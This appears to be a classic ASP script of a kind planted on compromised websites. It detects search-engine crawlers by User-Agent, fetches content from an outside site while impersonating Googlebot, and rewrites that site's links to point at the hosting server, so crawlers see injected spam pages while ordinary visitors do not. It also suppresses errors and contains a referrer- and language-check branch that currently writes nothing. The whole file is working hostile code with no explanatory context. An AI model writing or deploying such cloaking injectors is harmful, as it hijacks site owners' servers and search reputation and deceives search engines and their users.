<%on error resume next function isspider() dim agent,searray,i agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("googlebot","Yahoo","bingbot","MSNBot","baiduspider") for i=0 to ubound(searray) if (instr(agent,searray(i))>0) then isspider=true next end function Function getHTTPPage(URL) Set HTTPReq=Server.createobject("Msxml2.XMLHTTP") HTTPReq.Open "GET",URL,False HTTPReq.setRequestHeader "User-Agent","Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" HTTPReq.setRequestHeader "Referer","http://www.googlebot.com/bot.html" HTTPReq.send If HTTPReq.readyState<>4 Then Exit Function end if getHTTPPage=Bytes2bStr(HTTPReq.responseBody) Set HTTPReq=Nothing End Function Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream=Server.CreateObject("ADODB.Stream") BytesStream.Type=2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position=0 BytesStream.Charset="utf-8" BytesStream.Position=2 StringReturn=BytesStream.ReadText BytesStream.close Set BytesStream=Nothing Bytes2bStr=StringReturn End Function function fromse() dim urlrefer,i,searray urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER")) if urlrefer="" then fromse= false searray=array("google","yahoo","bing","msn","baidu") for i=0 to ubound(searray) if (instr(urlrefer,searray(i))>0) then fromse=true next end function if (isspider()=true) then htmls = getHTTPPage("http://www.breizhoufab.fr/"&request("classid")&request.ServerVariables("QUERY_STRING")) htmls=replace(htmls,"http://www.breizhoufab.fr/","http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?") htmls=replace(htmls,"href"&chr(61)&""&chr(34)&"/","href"&chr(61)&""&chr(34)&"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?") htmls=replace(htmls,"href"&chr(61)&""&chr(39)&"/","href"&chr(61)&""&chr(39)&"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?") htmls=replace(htmls,"href"&chr(61)&""&chr(34)&"","href"&chr(61)&""&chr(34)&"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?") htmls=replace(htmls,"href"&chr(61)&""&chr(39)&"","href"&chr(61)&""&chr(39)&"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?") htmls=replace(htmls,"src"&chr(61)&""&chr(34)&"/","src"&chr(61)&""&chr(34)&"http://www.breizhoufab.fr/") htmls=replace(htmls,"src"&chr(61)&""&chr(39)&"/","src"&chr(61)&""&chr(39)&"http://www.breizhoufab.fr/") htmls=replace(htmls,"src"&chr(61)&""&chr(34)&"","src"&chr(61)&""&chr(34)&"http://www.breizhoufab.fr/") htmls=replace(htmls,"src"&chr(61)&""&chr(39)&"","src"&chr(61)&""&chr(39)&"http://www.breizhoufab.fr/") htmls=replace(htmls,"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?/","http://www.breizhoufab.fr//") htmls=replace(htmls,"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?includes/","http://www.breizhoufab.fr/includes/") htmls=replace(htmls,"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?images/","http://www.breizhoufab.fr/images/") htmls=replace(htmls,""&chr(34)&"http://www.breizhoufab.fr/http",""&chr(34)&"http") htmls=replace(htmls,""&chr(39)&"http://www.breizhoufab.fr/http",""&chr(39)&"http") htmls=replace(htmls,"href"&chr(61)&""&chr(34)&"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?","href"&chr(61)&""&chr(34)&"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?") htmls=replace(htmls,"href"&chr(61)&""&chr(39)&"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?","href"&chr(61)&""&chr(39)&"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?") htmls=replace(htmls,""&chr(34)&"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?http",""&chr(34)&"http") htmls=replace(htmls,""&chr(39)&"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?http",""&chr(39)&"http") htmls=replace(htmls,"src"&chr(61)&""&chr(34)&"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?","src"&chr(61)&""&chr(34)&"http://www.breizhoufab.fr/") htmls=replace(htmls,"src"&chr(61)&""&chr(39)&"http://" & request.servervariables("server_name")& request.servervariables("script_name")&"?","src"&chr(61)&""&chr(39)&"http://www.breizhoufab.fr/") response.write htmls end if if (fromse()) then dim lan lan=Request.ServerVariables("HTTP_ACCEPT_LANGUAGE") if instr(lan,"zh-cn")=0 then htmls = "" response.write htmls end if end if %>